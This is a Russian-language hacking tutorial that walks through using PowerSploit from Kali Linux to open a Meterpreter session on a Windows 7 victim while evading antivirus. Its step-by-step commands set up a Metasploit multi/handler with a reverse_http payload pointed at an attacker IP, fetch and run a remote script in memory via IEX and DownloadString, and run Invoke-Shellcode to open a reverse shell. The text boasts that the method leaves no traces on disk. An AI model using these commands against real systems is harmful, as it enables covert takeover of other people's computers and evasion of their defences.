Несколько лет назад, разработав оболочку PowerShell, компания Microsoft негласно признала превосходство терминала Linux над операционной системой на основе графического интерфейса. Начиная с Windows 7, в каждой версии Windows эта оболочка установлена по умолчанию. Более того, через PowerShell в Windows можно запускать команды Linux. PowerShell – это мощная среда, благодаря которой в Windows можно сделать практически все, включая запуск сценариев. К сожалению, очень немногие администраторы используют ее, а некоторые даже не знают, что она существует. Для хакеров PowerShell может стать мощным союзником в деле захвата управления системой. Если мы сумеем добраться до PowerShell, ее возможности позволят нам получить контроль над атакуемой системой и удержать его. Кроме того, при запуске команд и сценариев через PowerShell можно обойти бóльшую часть антивирусных программ и не оставить никаких следов своей деятельности. Мэтт Грейбер разработал серию сценариев для PowerShell, которые помогут нам контролировать атакуемую систему и управлять ею. Эти специально созданные сценарии объединены под названием PowerSploitи встроены в Kali. Шаг 1. Запустите PowerSploit Для начала запустите Kali. Чтобы начать работу с PowerSploit, используйте меню KaliLinux- MaintainingAccess- OSBackdoors- powersploit. Или же просто откройте директорию /usr/share/powersploitв терминале. Так вы попадёте директорию /usr/share/powersploit. Все директории сценариев PowerSploit можно увидеть при помощи команды long listing. kali ls -l Как можно видеть, имеется восемь директорий PowerSploit: AntivirusBypass CodeExecution Exfiltration Persistence PETools Recon ReverseEngineering ScriptModification На этом уроке мы будем использовать сценарий Invoke-Shellcodeиз директории CodeExecution. Шаг 2. Запустите веб-сервер Следующий шаг – запуск веб-сервера в системе Kali, что поможет выполнить команды PowerSploit на машине-жертве. Есть множество способов сделать это. Например, можно скопировать директорию PowerSploit в /var/www/htmlи запустить веб-сервер Apache. Более простое и элегантное решение – это запуск обычного веб-сервера Python в директории PowerSploit. Для этого, находясь в директории PowerSploit, введите: kali python -m SimpleHTTPServer Теперь у нас есть веб-сервер, запущенный в директории PowerSploit. Это означает, что любой, кто к нему обращается, получит доступ к этой директории в нашей системе Kali. Шаг 3. Запустите PowerSploitна машине жертвы В ходе всей этой операции мы предполагаем, что у вас уже есть доступ к атакуемой машине и вы хотите добраться до Meterpreter и при этом обойти антивирусное ПО. Также будем считать, что в системе жертвы есть GUI, а также RDP или VNC. Запустите PowerShell. Для этого в меню «Пуск» наберите PowerShell в строке поиска. Щелкните по иконке PowerShell и запустите оболочку на машине-жертве. Шаг 4. Откройте браузер и перейдите на веб-сервер Kali Из атакуемой системы Windows 7 теперь мы можем перейти к веб-серверу на Kali. Как мы видим, все сценарии PowerSploit можно загрузить с веб-сервера на машину-жертву. Шаг 5. Запустите Multi/Handlerна Kali Нам понадобится multi/handler (мультиобработчик) системы Kali, чтобы установить связь с Meterpreter атакуемой системы. Запустите консоль Metasploit. Для этого наберите: kali msfconsole Чтобы запустить multi/handler, используйте такие команды: msf use exploit/multi/handler msf set PAYLOAD windows/meterpreter/reverse_http msf set LHOST 192.168.181.128 msf set LPORT 4444 msf exploit Как видно на скриншоте выше, теперь обработчик ожидает подключения со стороны системы-жертвы. Шаг 6. Загрузите сценарий PowerSploit В системе Windows 7 мы будем использовать PowerShell для загрузки сценария PowerSploit из Kali через простой веб-сервер Python. Для этого наберите: IEX(New-Object Net.WebClient).DownloadString ("Ссылка доступна только зарегистрированным пользователям") В системе Kali мы видим, что на веб-сервере Windows 7 был получен запрос GET из системы Windows 7. Таким образом, сценарий Invoke-Shellcodeбыл загружен на машину с Windows 7. Теперь в системе Windows 7 запускаем сценарий PowerSploit. Если мы все сделали правильно, его запуск начнет сеанс Meterpreter на машине Windows 7 в контексте процесса PowerShell. PS Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 –Force Шаг 7. Найдите сессию Meterpreterна Kali Теперь вернемся к системе Kali и посмотрим, была ли открыта сессия Meterpreter. Для этого заглянем в msfconsole, где ожидали соединения multi/handler, и наберем: sessions-l Это покажет список всех открытых сессий. Готово! Мы начали сеанс Meterpreter на атакуемом ПК. Особенность этого сеанса в том, что оболочка Meterpreter работает в контексте процесса PowerShell и потому не определяется антивирусным ПО. Кроме того, Meterpreter полностью работает в оперативной памяти и не оставляет данных на жестком диске.